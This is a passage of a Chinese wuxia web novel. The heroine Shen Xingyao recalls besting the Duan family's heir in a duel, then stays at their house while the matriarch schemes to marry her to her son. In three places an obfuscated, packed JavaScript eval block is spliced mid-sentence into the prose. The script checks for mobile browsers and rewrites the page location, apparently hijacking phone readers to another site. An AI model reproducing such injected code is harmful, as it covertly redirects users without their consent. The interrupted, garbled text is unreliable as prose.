徐菀紧随其后,半步不落。 凌无非则一直等到段逸朗骑上车前领头的那匹白马,才撩开衣袍前摆,跨上马车。 “这个段逸朗,到底是真傻,还是装傻?”沈星遥见只有他一人上车,缓缓输了口气,道。 “他一向直来直往,不擅伪装。”凌无非道,“不过,你又是怎么认得他的?” 8. 第八章 不打不相识 “这个……” 沈星遥眨了眨眼,回忆起三年前的事来。 那时她才下山不久,听闻江南风景秀丽,从小长在昆仑山,从未见过青山绿水的沈星遥,下山以后,便直奔水乡而去。可她晕船,又避不开水路,那日到了姑苏,刚下船便吐得分不清南北,于是立刻就近找了间客舍住下,一觉便睡到第二天午后。 水乡小城,庭院造景别样雅致,白墙青瓦,假山池塘。沈星遥在客舍后院散了散心,忽然听见门外传来喧闹声,便推门走了出去。 她看见许多人不约而同都跑向同一个地方,出于好奇,便跟了过去,直接那里有人就地搭了一个简陋的擂台,是个年轻壮实的汉子,留着络腮胡,穿着半袖短衫,裤腿扎到膝间,手里还提着一把弯刀。 “诸位乡亲,”那汉子拱手抱拳,对围观的众人道,“在下李大明,自小在漠北学刀,至今未遇敌手。初来关内,听闻人称天下第一刀的段老前辈住在江南,便特地前来讨教……” 原来这个李大明,到了姑苏以后,去过鼎云堂三回,一番软磨硬泡,才让老堂主段元恒应战,为求公平,便特地摆下擂台,要姑苏城里的百姓亲眼见证输赢。 随着段元恒出场,擂台下叫好声一片。沈星遥对那些客套的说辞毫无兴趣,统共也没听进去几个字,直到二人开始比武,才睁大了眼睛。未免误伤,二人所使的都是木刀,虽不能做伤人之用,倒也瞧得出手底下的功夫深浅。 那李大明自称打遍漠北无敌手,初出刀时,与段元恒刀势一般,有来有回,无分轩轾。然而段元恒能被称作“天下第一刀”,身法武功也绝非等闲可比,可沈星遥瞧着那李大明渐渐落于下风的模样,却渐渐蹙紧了眉,摇头感慨起来:“这样也能输啊……” 她分明瞧出了段元恒招式中的几处破绽,偏偏李大明却无力拆解,只能勉强招架,以致最后输了比武。 “段堂主刀法精湛,武艺高超,晚辈甘拜下风。”李大明落败退后,干脆利落拱手施礼,心服口服道。 “年轻人不要心浮气躁,你的日子还长,别总想着四处挑战,回去好好磨练功夫才是。”段元恒笑呵呵道。 “这么明显的破绽都看不穿,光靠磨练可没用,得换个师父了。”沈星遥顺嘴便把心里话说了出来。 正值比武结束,众人都在安安静静等着段元恒多说上几句。偏巧沈星遥刚好站在擂台边,又是习武之人,中气十足,语调清朗,一句话说完,场上场下大半人等,都听了个清清楚楚。 “好大的口气,你说谁有破绽?”候在场外的鼎云堂门人问道。 “我说这位前辈的刀法中有破绽,可有何问题?”沈星遥不解道。 她是直来直往的性子,又从小住在山上,向来不懂门面一说,想到什么,便毫不避讳地都说了出来。 “这位姑娘,”段元恒走到擂台边,沿着台阶一步步走到她跟前,道,“你方才可是说,老夫的刀法有破绽?” “不错。”沈星遥点头,“比如最后那一招,刀从斜下方来,看似攻其下路,实则上挑,指向胸前空门。而对方前一招,守的也是下路,这一刀看起来,将全身笼罩,对手无路可攻,只得退守提防,实则不然。刀在身前,虚招挡住的也只有下方,后边却是空的,虽是单打独斗,无需忌惮后方,但十分劲力都为攻势,不留后路,一旦对方有所保留,或是找到别的机会,再想回身守住空门,便来不及了。” “姑娘今年多大?”段元恒波澜不惊,见她只是个小姑娘,便只当她是逞口舌之快,想博人眼球,便道,“学武不似四书五经,只需懂得推论,便能做文章。真若有刀在手中,并不是这个理了。” “可要是理论都不懂得,与人真刀真枪相搏,又怎能险中求胜?” 沈星遥目光坦然:“您到这个岁数,能够战胜台上那位,多半靠的是数十年来所积累的内劲修为,若是年纪一般,最多也就是个平手。” “哪里来的小丫头?不知礼数!”一旁观战的段家夫人郭春馥站了起来,皱眉说道。 此时在场的不论是鼎云堂的门人,还是聚集围观的看客,都凑了上来。 “这小丫头真有种,敢挑衅天下第一刀,不如比划比划?” “就是,段老堂主,好好教教这丫头怎么说话吧!” 沈星遥坦然而笑:“段老前辈,我还年轻,比起内家修为,我定然不如您,所以就算比试,我也未必能赢,只是我觉得,人无完人,刀法既有破绽便该承认,固步自封,只会阻碍您的刀法继续精进。” 段元恒被她说得沉下脸来,一句话也说不出来。 郭春馥按下试图出头的儿子段逸朗,一步步走到沈星遥跟前:“小姑娘,你可知道你在跟谁说话?” “鼎云堂的堂主,天下第一刀,段元恒老前辈。”沈星遥神情自若。 “既然知道,就该明白,与前辈说话,应当恭谦。”郭春馥道。 “实话实说,究竟有什么错?”沈星遥不解。 郭春馥皱了皱眉,定定看了她一会儿,又摇了摇头,道:“既然如此——朗儿,你过来。” 段逸朗不明就里,却还是乖乖走过去了。 那年他不过十四岁,还是个孩子,站在沈星遥跟前,与她一般高。 “朗儿你应当记得,祖父教给你的刀法,你们年纪相仿,内家功夫差不多,不如现在就比试一场,让大家看看,究竟是段家的刀法不好,还是有的人妄自尊大,目中无人。” 郭春馥说这话的时候,两眼目不转睛,始终盯着沈星遥,似乎是希望看到她在这么多双眼睛的注视之下,心生胆怯,主动认错。 可沈星遥却让她失望了,非但没有认错,反又说了一句令段家人怒火中烧的话:“这位小公子内息不畅,差不多这个词,夫人是怎么说得出口的?” “荒唐!”郭春馥大怒。 接下来的这场比试,凌无非都不必听沈星遥细说,便能猜到结果。 段元恒之所以七十岁还在做这鼎云堂的堂主,并非因为他贪图名利,不肯放下名位,而是这唯一的孙子段逸朗,根本接不起这重担。 段家三代单传,段元恒唯一的儿子段鸿舟在段逸朗出生后的第三年便因病撒手人寰。偏偏段逸朗就不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150354|150305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 习武的苗子,不论怎么勤加练习,始终都没个名门之后该有的模样。 为此,段元恒日愁夜愁,也没能愁出个结果,便只好放任行之。 “后来怎么样了?”徐菀听得入了神,忍不住追问道。 沈星遥隔着门帘望了一眼在马车外指路的段逸朗一眼,方道:“后来,我赢了比武,回到客舍。第二天就有人气势汹汹来找我,一听说是鼎云堂的人,我便觉得没什么好事,从窗口跑了。” 徐菀似有所悟,点点头道:“那是该跑。” 凌无非听完这番话,神情变得复杂起来,却什么话也没说。 “凌少侠,你同段家人很熟悉吗?”一旁的徐菀按捺不住好奇问道,“这位段公子明明看起来傻乎乎的,怎么一点都不好糊弄?” “我爹在世时与段老爷子有些往来,不过泛泛之交,谈不上熟悉。”凌无非道,“不过是那位段堂主看我身在鸣风堂,有些用处,才没断了来往。” “如此说来,段家人交友,不讲交情,只谈利益?”沈星遥眸光微敛,“看来我这一趟,不是添头便是等着他们秋后算账。” “倒也不至于。”凌无非道,“鼎云堂声名在外,还不至于为了几句话做出格之事。只不过……” “不过什么?”沈星遥抬眼,视线恰与他相对,秋水似的眸光看得凌无非略微愣了一愣。 “也不是……不是什么大事。”凌无非搓搓鼻子,避开她的注视,道,“一点私事,先前答应过段堂主,办的不妥,没令他满意……” 说完,他皱了皱眉,又忙解释道:“不过你放心,这事肯定不会牵连到你们,也不是什么大不了的恩怨,就是……” 他说这话时,神色始终踟蹰,几度欲言又止。沈星遥看出他窘迫,立刻转移话题,道:“阿菀身上不论内外伤势,既不致命,也无一处伤及头部,恐怕这失忆,是药物所致,若只是失忆还好,就怕对方歹毒,给你用了寻常人瞧不出的毒物,失去记忆,只是刚刚开始……” “想要追根溯源,不是简单的事……”凌无非说着,忽然像是想起何事一般,“我突然想起一件事来,只是不知……哎,罢了,他未必肯相告。” “说来听听?”沈星遥眼前一亮。 “传闻当世医中圣手,只有一人担得其名。此人叫做柳无相,性情乖张,行踪诡异,只是见过他的人寥寥无几,想要找到下落,几乎无望。”说着,他顿了顿,又道,“可又有传言道,段元恒曾有一回,身受重伤,本回天无望,却机缘巧合,得柳无相救治,才得以回春。” 沈星遥闻言颔首,若有所思。 “不过,段老爷子极好颜面,很多话未必肯说。”凌无非道,“也别抱太大希望。” “总要试试,”沈星遥说完,却又犯了难,叹了口气道,“可我得罪过他,该怎么做,才能让他帮我?” “如今正值他七十大寿,或许送他一份厚礼,给足颜面,便能有所缓和?”凌无非道。 “送礼?送什么?”徐菀问道。 “我哪还有钱送他厚礼?”沈星遥摇摇头道,“自己都快饿死了……” 9. 第九章 狭路不相逢 “我有啊!”徐菀从腰间取下沉甸甸的银囊塞到她手中。然而等沈星遥接到手中打开,却只看到里边装着一堆铜板。 “阿菀,”沈星遥道,“你可知道一只开元年间的越窑青瓷盏要多少钱?” 徐菀茫然摇头。 沈星遥叹了口气,把银囊放回到她手中。 “贺礼你们不必担心,我会办妥,只是到底能不能找出柳无相的下落,尚未可知,你们得做好无功而返的准备。”凌无非道。 “可这是我和阿菀的事,”沈星遥一愣,“不过,我们能不能找你借些钱,送这份寿礼。还有要如何挑选,开销多少,你直接告诉我,我会设法尽快还上。” “当然可以。”凌无非坦然笑道,“你也不必这么小心谨慎,其实徐姑娘失去的记忆里,也有我想探寻之事。所以,此事也并不应当全由你来出力。” “可是……” “这个往后再说,我还有件事想问你,”凌无非坐直身子,认真问道,“段家人可知道你是琼山派门人?” “不知,”沈星遥摇头,“我早已脱离门派,独自行事,又怎会打着师门的旗号招摇过市?” “那就好,”凌无非略一颔首,道,“段堂主号排面,一向十分张扬,若是知道有琼山派门人前来赴宴定会大肆宣扬。我记得你说过,不愿让琼山派知道徐姑娘的境遇,所以……” “放心吧,我心里有数。”沈星遥笑道。 段逸朗的人一路快马兼程,等回到姑苏的那天,才到七月初,离寿宴还有多日。马车进了姑苏城门,一路直到鼎云堂门前,守在门外的家仆瞧见是少主人回来,便忙进门去禀报。过了一会儿,郭春馥便搀扶着段元恒走了出来。 段元恒见了几人,目光在沈星遥身上飞快扫了一圈,目光深邃,也不知在想些什么。 “爷爷!”段逸朗远远对祖父与母亲招了招手,道,“我们回来了!” “还真是她……”郭春馥远远看了沈星遥一眼。三载光阴荏苒,少女褪去稚嫩,初成模样,落落大方,端的是个美人儿。 “段堂主,郭伯母。”凌无非从马车内拿出包装精致的寿礼,递给前来接应的下人,随即向迎面走来的二人施礼道,“来得匆忙,未及准备,小小薄礼,还请笑纳。” “贤侄客气了,”段元恒道,“你呀你,可真是神龙见首不见尾,回回到了金陵,都找不见你,这一回也是,可真让老夫好找。” “段堂主说笑了,”凌无非笑道,“我时常有些琐事,在外奔波,总是不巧。” “你总是这么忙碌,难怪没空搭理老夫的事。”段元恒的话,似乎意有所指。 凌无非听了,只是淡淡一笑,并不作答。 段元恒笑着转向一旁的沈星遥,微微收敛笑意,感慨道:“几年不见,沈女侠可还好?” “很好。”沈星遥不懂客套,回答得简洁明了。 说完她想了想,又补充了两个字:“您呢?” “老夫当然很好。”段元恒说着,眉头鼻根忽的缩紧到一处,然而很快,他便舒展眉目,笑道,“前些年的事,只怪老夫没对手底下那些人说清楚,吓着沈女侠了。” 段元恒说着,又看了一眼徐菀,继续说道:“想必这位便是朗儿在信上说的徐姑娘了。可惜啊,早年间的事,总有人以讹传讹,老夫从来不曾见过柳无相,只怕要让二位姑娘失望了。 “不妨事。”沈星遥淡淡道,在段元恒背过身去的一瞬,唇角却不自觉勾起嗤笑。 果然,终归是要无功而返,还不得不做出这虚假的客套,浪费宝贵的时间。 凌无非听罢,不自觉看了看她,微微摇了摇头。 怀揣着这番心事,三人跟着段元恒一家将三人进了大门。黄昏将至,恰是用晚饭的时候,下人们也备好了饭菜,于是主人家交代好管家安排住处,便将他们带去用饭。 “请坐请坐,”郭春馥颇有一家主母的风范。段元恒早年丧妻,是以一家大小事宜,向来都由儿媳料理。她领着客人们进屋,桌子碗筷也都准备齐全,等段元恒在正对门的位置入座后,便拉了凌无非,安排他坐在段元恒身旁,小声在他耳边道,“我家老爷子念叨你好久了,朗儿脑袋又不灵光,哄不了老爷子开心,你便坐在这儿,同他多说几句话。” “我?”凌无非微微蹙眉,看了她一眼,欲言又止。 徐菀看不懂这些门门道道,随便拉了张椅子坐下,刚好背对着门,倒也不算失礼。郭春馥见了,只愣了一愣,便将还没来得及在徐菀身旁坐下的沈星遥拉去了段元恒的另一边,道:“你怎能背着门坐呢?上回是我们家失礼在先,你能不计前嫌来给我家老爷子祝寿,可是贵客。” 随后,她也不多看一眼徐菀,直接让段逸朗坐在沈星遥身旁,道:“你们年纪都差不多,人沈姑娘年纪轻轻,武功便已有小成,你可得向人好好请教。” “段夫人过誉了。”沈星遥波澜不惊,“我还差得远呢。” “师姐你谦虚什么?”徐菀冷不丁冒出这么句话来。 “你看,连你家师妹都说你过谦啦。”郭春馥靠着凌无非坐下,满面春风,用打趣的口吻道,“真没想到,沈姑娘会是无非的朋友,要是早知道这事,三年前就让朗儿上门赔礼道歉去了。” 沈星遥听了,没有说话。 师姐妹二人未免牵扯上琼山派,便只能简单自称是凌无非的朋友,并未过多交代来历。 可她向来坦率直接,未免说漏嘴,便索性不回答。 “娘,怎么又成我的错了?”段逸朗不解道,“当年硬要比武的又不是我……” “你少说两句,”郭春馥白了儿子一眼,夹了一大块羊肉到沈星遥碗里,道,“几年不见,都成大姑娘了,独身在外漂泊可不好受。” “还好,习惯了。”沈星遥并未听出弦外之音,只是简单作答。 面对这突如其来的热情,她总觉得浑身上下都不自在,回答完后,便抬眼看了看徐菀。 一旁的凌无非听到这番对话,忽然蹙了蹙眉。 “那小师妹呢?可还习惯?”郭春馥又看了一眼徐菀,问道。 “我?”徐菀一愣,道,“我什么都不记得了。” “对啊,差点忘了这事。”郭春馥一拍额头,道,“看我这脑子,真不好使。沈姑娘,这几日,你就在这好好住着,把这儿当自己家就行,别见外。” “那可别了,”凌无非插话道,“谁在自己家里不是有话直说,有气便撒。要是在外也这样,非得被人打死不可。” “胡说八道,”郭春馥嗔怪道,“人家娇滴滴的小姑娘,能和你这个大老爷们一样吗?” “没什么不一样的,”沈星遥道,“我在家里说话也不怎么中听,招人嫌得很,一会儿要是说错了,还请郭夫人不要见怪。” 郭春馥听得脸上青一阵白一阵。凌无非见状,便忙岔开话题,道:“郭伯母,三年前有个漠北刀客上门挑战,这事我怎不知道?” “都是小事,你打听那些作甚?”郭春馥说完,又拿空碗盛了满满一碗汤,递给沈星遥,道,“星遥啊,你这名字听着有些特别,是哪两个字啊?” “是火树星桥,遥岑寸碧。” “这星字倒是好猜,可为何第二个字,不是瑶宫之瑶?”郭春馥问道。 “星辰瑶池都在天上,瞧着贵气,高不可攀,俗人当然都这么想。”徐菀顺嘴说完,才发现周围突然安静下来,抬头看了一眼众人欲言又止的表情,才意识到自己嘴快说错了话,于是放下碗筷,道,“我吃饱了,能去睡会儿吗?” “你们几个舟车劳顿,想必也累了。”段元恒也放下了手里的筷子,道,“既然徐姑娘累了,且回房歇着吧。若有何需要,尽管向下人吩咐。” 徐菀咧了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150355|150305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咧嘴,勉强挤出一丝笑容,转身拔腿就溜。 郭春馥满脸堆笑,连忙招呼几人继续用饭。她见段逸朗正旁若无人似的给自己盛汤,索性在桌下踹了一脚。 险些被波及的凌无非立刻把腿缩了回来,看了一眼还在喝汤的沈星遥,张了张口,却还是闭上了嘴,什么也没说。 “朗儿,这几日好好练刀。”郭春馥又道,“恰好沈姑娘在这儿,多好的师父,可别错过了。” “我还没到能收徒的年纪呢。”沈星遥吹了吹碗里滚烫的肉汤,随口答道。 “郭伯母,星遥也就与我一般大,您就别为难她了。”凌无非连忙解围。 “这怎么能叫为难呢?”郭春馥道,“说起来,沈姑娘这般好身手,想必师承大有来历,怎的如此谦虚,不妨为我等引见引见?” 沈星遥听了这话,默不作声放下了手里的碗,朝凌无非投去求助的眼神。 凌无非十分自然地用胳膊肘杵了杵段逸朗,问道:“哎,你刀法真有这么差劲,还得让个外门人来指点?” “沈姑娘,”段元恒终于开口,道,“除了打算治好你师妹失忆的病症,往后可还有其他打算?” “这个……”沈星遥蹙了蹙眉,只觉得他的问话意有所指,然而想了很久,也编不出什么瞎话,只能如是说道:“我就想四处走走,看看这大好河山。” 段元恒听罢,点点头道:“那就是没什么打算了。” “嗯?”沈星遥一愣,“四处走走不算吗?” “段堂主想说的,是江湖儿女应当志在四方,”凌无非笑道,“你武功不低,几根发丝便能操控断剑,收放自如,便不想争个天下第一?” “天下第一?”沈星遥迅速反应过来,她瞥了一眼段元恒,点点头,顺着台阶道,“是个好主意。” 听完这话,段元恒蹙了蹙眉,故意咳了几声。 “老爷子,您慢点。”郭春馥忙道。 几人用过晚饭,走出饭堂。沈星遥小跑几步,追上已经走到小院正中的凌无非,低声说道:“我想带着阿菀,出去找个客舍住下。” “你先回房去休息,”凌无非小声回应,“我去看看是怎么回事。” 他目送沈星遥走远,眉心忽地收紧,正在这时,听到身后传来郭春馥的声音:“朗儿,你同我过来,娘有话对你说。” 沈星遥回到客房,一推开门,徐菀便立刻迎了上来:“师姐,我觉得那个郭夫人不对劲,总想和你套近乎。” “不必你觉得,我也知道她话里有话。”沈星遥坐下身来,咬唇思索片刻,“我想等明天再看看,能不能找个理由搬出去。” “师姐,我想不明白,”徐菀在她身旁坐下,道,“郭夫人对你如此热情,究竟是为何?” “兴许正如他说的,要我指点段逸朗学刀?”沈星遥若有所思,“又或是要我把我生平所学都教给他?” “这怎么行?虽说我什么也不记得了,但最起码的道理还知道,”徐菀道,“江湖规矩,各派武功,不可传于外人。更何况……” “更何况我早已不是琼山派的弟子,掌门没废去我这一身功力,已属宽宏大量,又怎能传于外人?” “当然,”徐菀用力点头,“那我们明天就找个理由,搬出去。” 这师姐妹二人,毕竟涉世不深,所能料想到的,与郭春馥真正的用意,实则相差了十万八千里。 与此同时,郭春馥正将段逸朗拉去房里,大声训斥:“你是真傻还是装傻?听不出娘的话是什么意思吗?” 郭春馥气急败坏,捏起段逸朗一只耳朵,继续说道:“人就坐在你旁边,不能说两句好听的吗?好好的姑娘,生得貌美,心气不傲,武功还是万里挑一的好,这样的姑娘,你还想着去别处能找着吗?” “啊?”段逸朗只觉这一番话说得没头没尾,道,“您这话是什么意思?” 10. 第十章 世路久来险 “什么意思?”郭春馥松开捏着他耳朵的手,道,“我的小祖宗,你看看你爷爷,都快七十岁了。再看看你!段家刀法,你学到了皮毛没?屁都没有!想要鼎云堂能在江湖之中屹立不倒,你唯一能做的,就是找个在武学天赋超群的姑娘,给你爷爷生个曾孙,好把咱们段家的武功传下去!” “这……原来您是这个意思?”段逸朗恍然大悟,“您早说嘛……不过,还不知道沈姑娘的年纪……” “年纪怎么了?即便大你一轮,你也得娶她!”郭春馥翻了个白眼,道,“你爷爷都这岁数了,他还能硬朗几年?你呀,也是时候帮你爷爷分担些事了。” “可是……” “哎呦,我可真是命苦。”郭春馥坐下便开始掏帕子抹眼泪,“年纪轻轻就死了丈夫,唯一的儿子还是个不争气的主,上辈子我定是造了什么孽,怎么好好的就……” “娘,我同人家还不熟悉,”段逸朗上前道,“就这么贸然向人家姑娘提亲,会把人吓跑的。” “这不还有几日吗?她人在这儿,总归跑不了的,”郭春馥伸出手指,在他额头正中轻轻推了一下,道,“傻孩子,只要你听娘的话,为娘包你在寿宴之前,把这丫头拿下。” 段逸朗听罢,点了点头。 时下天色已晚,听郭春馥说了一通,段逸朗也觉得倦了,于是向母亲告退,准备回房休息,然后才走出院子,却被人从身后唤住,正是凌无非。 “凌大哥?你怎么在这儿?”段逸朗一愣,迎上前道。 “你们方才说的话,我都听见了。”凌无非开门见山,“你真打算照她的话做?” “你偷听我和我娘说话?”段逸朗惊讶不已。 “适才在饭桌上,她第一句话的时候,我便猜到她有此想法。”凌无非道,“只是我没想到,你会答应得如此爽快。” “怎么你们都听得出来,唯独我……且慢,沈姑娘该不会也……”段逸朗一拍大腿,暗道不好,“她没被吓着吧……” “你们才认识几天?就算加上三年前那一面,你们相识也不到一月,短短一月便要确定终身,你是如何想的?”凌无非问道。 “我娘说得对,沈姑娘为人坦率,武功又高,性子也算好相处,”段逸朗道,“与这样的人共度余生,日子定也安逸舒心。” “仅仅如此?”凌无非摇头,“你既对她无意,又何必如此?” “凌大哥,这世上哪有那么多的琴瑟和鸣,恩爱不疑?”段逸朗摇头,解释说道,“只要我能好好待她,不惹事生非,又有什么过不下去的?” “当真如此吗?””凌无非道,“你对她示好,她必然会认为是你对她有意,惹得人家对你动了心意,你却未动真心,如此为之,当真对她公平?换言之,若她应允了你,他日你又遇上心仪之人,又待如何?” “这有什么?即便那般,大不了藏在心里,按下不提,只要不让她知道真相,好好待她,始终如一,一生也不过如此。”段逸朗道。 “罢了,与你说不明白。”凌无非摇头走开,不愿再与他废话。想起沈星遥方才局促的模样,凌无非略一思索,径自便走去了沈星遥师姐妹二人所住的偏院,却刚好瞧见一个人影飞掠出围墙之外,立刻便追了上去。 那道翻出墙外的身影,正是沈星遥。 她一路飞檐走壁,直到郊外树林方才停下。 凌无非缓慢停下脚步,停在树后,远远看见沈星遥拾起一截一尺余长的断枝作剑,在林间起舞。 昆仑山上长年飞雪,与这林中纷纷扬扬的花叶,颇有异曲同工之妙。 沈星遥以断枝为兵刃,纵跃飞舞,身法轻灵优雅,裙裾翻飞,衣袂飘扬,一招一式间,全无肃杀之气,风动花叶落,在月光之下,如仙子一般翩然。 凌无非看得呆了,蓦地想起那句江湖传言——人间英杰薛折剑,天上神仙隐昆仑。 她本是仙子下凡,来去自在,不沾一片尘埃,又怎能让段氏一门的功利之心所染? 想到此处,他略一迟疑,从树后走了出来。沈星遥听见动静,收势驻步,扭头瞧见是他,不由一愣:“你怎么……” “我并无窥探之意,你别误会,”凌无非连忙解释,“只是见你今日面对段夫人极不自在,有些不放心,才跟来看看。” “她又不在这儿,有何不放心?”沈星遥笑道,“我独来独往三年,不都活得好好的?” “这……倒也是……”凌无非不免局促,低头一捏鼻子,笑了笑,心下思忖着当如何将段逸朗母子的心思告知于她。 “说起来,你也觉得不对劲吧?”沈星遥道,“段夫人的意思,我听得不是很明白,难不成,是想让我教段逸朗学武?” “嗯?”凌无非听到她的“领会”,当即愣住,两眼朝她望去,“你说什么?” “她在饭桌上,三句话不离指点,这意思,可不正是想让我坏了规矩,教他武功吗?”沈星遥认真问道。 “你……真这么想?”凌无非一时之间,竟不知该说什么好,他想了半天,方才开口道,“不过……这么说来似乎也有道理。” “难道还有别的意思?”沈星遥不解问道。 她自幼在与世隔绝的琼山派长大,甚少与外界接触。即便有同门师姐成年以后下山游历,带了男人回去成婚,也少与门中姐妹谈论凡俗之事,是以当然不会懂得这些世俗男女间的弯弯绕绕。 “当然有,”凌无非道,“仅是图你授他武艺这一点,便不会只是嘴上说说,想把你留在姑苏,还可以换个理由。” “换什么理由?”沈星遥歪头问道。 “这……”凌无非迟疑良久,方才问道,“你觉得,逸朗如何?” “你说段公子?”沈星遥歪头想了一会儿,道,“瞧着倒是挺老实,就是木讷了些。不过,性子温和,不难相处。” 凌无非不由得睁大双眼,诧异问道:“也就是说……你觉得他还不错?” “看不出来,不过为人应当不错。”沈星遥朝他走近几步,道,“你与他相熟,你应当知道他是怎样的人,不是吗?” “他……”凌无非迟疑良久,忽觉心里拧巴得很,想了半天也不知该说什么,但就是不想说段逸朗一句好话。 “怎么了?他品性不好吗?”沈星遥疑惑不已。 “倒也不是……只是……”凌无非磕磕巴巴说了半天,终于还是压不住心里的话,一摆手道,“我适才听到郭夫人拉他训话,要他求娶你。” “怎么可能?”沈星遥摇头一笑,“我才认识他多久?” “我也是这么说,可他不肯听。”凌无非语重心长道,“你年纪轻轻便能看出已成名前辈招式中的破绽,假以时日,成就不可估量。他们母子二人目的明确。正是看中你的天分,想用这个法子把你留下。我本以为能劝得住,谁知……” “我不喜欢他。”沈星遥莞尔,道,“那位段公子看着品性虽不坏,性子却有些软弱,毫无意趣。莫说求娶,就算只做朋友,也未必说得到一块儿去。” 凌无非听到此处,缓缓舒了口气,只觉心头一块大石落了下来。 “不过,他们既然这么想,我也不便久留。”沈星遥道,“不是说有寿宴吗?等过完寿宴,就可以走了吧?不过在此之前,是不是还得再同他们周旋几日?” “或许可以想个说辞,先搬出去住几日避一避。”凌无非道,“还有些私事,我得尽快了结。再给我半日时间便够了,从此刻起,不论他们找你说什么,做什么,都不要轻易听信。” “这也不妥,”沈星遥道,“总得做做样子,我又不是手无缚鸡之力,还不至于无法自保。” “早知如此……唉,罢了,你多加小心。”凌无非道,“这样吧,你先假装不知他们母子意图。我来想个法子,看看如何解决更为妥帖。” “好。”沈星遥点头,表情郑重而认真。 一阵轻风拂过,撩起沈星遥额角细碎的发丝。月光慵懒洒下,照亮她那对澄澈明亮的眸子,如明珠一般,绽放出光彩。 翌日一早,沈星遥刚从床上坐起身来,便听到有人敲门,开门一看,才知道是段元恒派人寻了位姓胡的医师前来,要给徐菀瞧病。 据说这位胡医师,在姑苏本地也是赫赫有名,只是有个怪癖,瞧病的时候,不让有人在旁边,据说是怕被人偷师。沈星遥听了,只觉古怪得很,然而想起凌无非所说的,不要轻举妄动的话来,便只好跟着领路的家仆到了前院,见着了这位胡医师,那是个始终板着脸孔的中年妇人,看见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150356|150305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二人后,不声不响便坐下了。 “师姐,怎么办?”徐菀小声问道。 “你觉得呢?”沈星遥微微蹙眉。 “我觉得,还是试试看。”徐菀说道,“此人不会武功,还不至于把我拿捏住,只要她给的东西我都不用,应当没什么事。” “也罢,你多加小心。”沈星遥略一点头。 “你就当做什么都不知道,他们叫你做什么,表面答应便是了,照理来说,这些江湖大派,还不至于伤人害命。就算他们真想娶你,也不可能五花大绑,硬把你塞上花轿吧?”徐菀道。 “这我都知道,你放心。”沈星遥点头,莞尔一笑。 徐菀留在前院,沈星遥本想去向段元恒道个谢,却听院内的家仆说,段元恒一早便唤了凌无非去他屋内,似乎有事商谈,到现在也没打开房门。 沈星遥听罢,想到昨晚在林中那番谈话,正打算转身回房,却忽然被人唤住。 “沈姑娘,可找到你了。”唤住她的人,是郭春馥的贴身婢女玉香,仿佛找了沈星遥很久似的,一见她便快步走了过来,道,“夫人还记着昨日沈姑娘说的话,听闻沈姑娘喜欢到各处游历,一早便做了安排,打算陪姑娘逛逛姑苏城。” “现在就去吗?”沈星遥一愣。 玉香点点头,盈盈笑道:“不打紧的,徐姑娘在府上有人照看,一会早些回来便是了。” 沈星遥不禁锁紧了眉头,沉默良久,方点头道:“也罢,你带路吧。” 郭春馥备了车马,将沈星遥接了出去,径自便去了西北边的虎丘山下。 虎丘素有吴中第一之称,山中树木苍翠,怪石嶙峋,园林与峭壁共存,相映成趣,与别处的山水,倒真有一番区别。 沈星遥长在山里,在这虎丘山内崎岖的道路间行走,如履平地一般。 相较之下,半点武功也不懂的郭春馥走这山路,便显得有些吃力。她见沈星遥体谅似的放缓脚步,便忙推了一旁的段逸朗一把,以眼神示意让他上前同沈星遥多说几句话。 “沈姑娘,前面就是剑池了,”段逸朗追上沈星遥的脚步,道,“相传剑池之中藏有名剑扁诸、鱼肠,皆为吴王阖闾殉葬之物,早些年,许多行走江湖之人,常常来此寻宝探秘,只盼能得到池中名剑,一统江湖。” “几把宝剑而已,也得看是什么样的人才能驾驭。”沈星遥不以为意,“不过,姑苏最大的门派,不正是鼎云堂吗?在这剑池脚下,段堂主却是因刀成名于江湖,这是为何?” “这个嘛……”郭春馥眼珠一转,追上来道,“各人有所长,也不稀奇。” 三人在虎丘山走了一圈,回到山脚时,已然到了巳时。郭春馥又提起,要带沈星遥去尝尝最好的糕团和酒酿饼,于是一行人又上了马车,去往一处叫做“流云渡”的酒家。 沈星遥始终惦记着徐菀的情形,一路又是在马车里,并未留意到这流云渡是个临水建造的酒家,等到穿过内里一条富丽堂皇的长廊,上至二楼雅间坐下,脚下木板忽地晃动起来,才后知后觉跑去窗边张望,这才发觉,已然置身画舫之上。 “这是在船上?”沈星遥登即变了脸色。 “流云渡的雅间,都在这画舫之上,”郭春馥起身,缓缓走到她身旁,挽起她的手道,“都到了姑苏,不游太湖,岂非白来一趟?” 沈星遥不言,不动声色挣脱她的手,将窗边珠帘都卷了起来,窗扇也推开到最大,好让湖上的风都能吹进屋内。 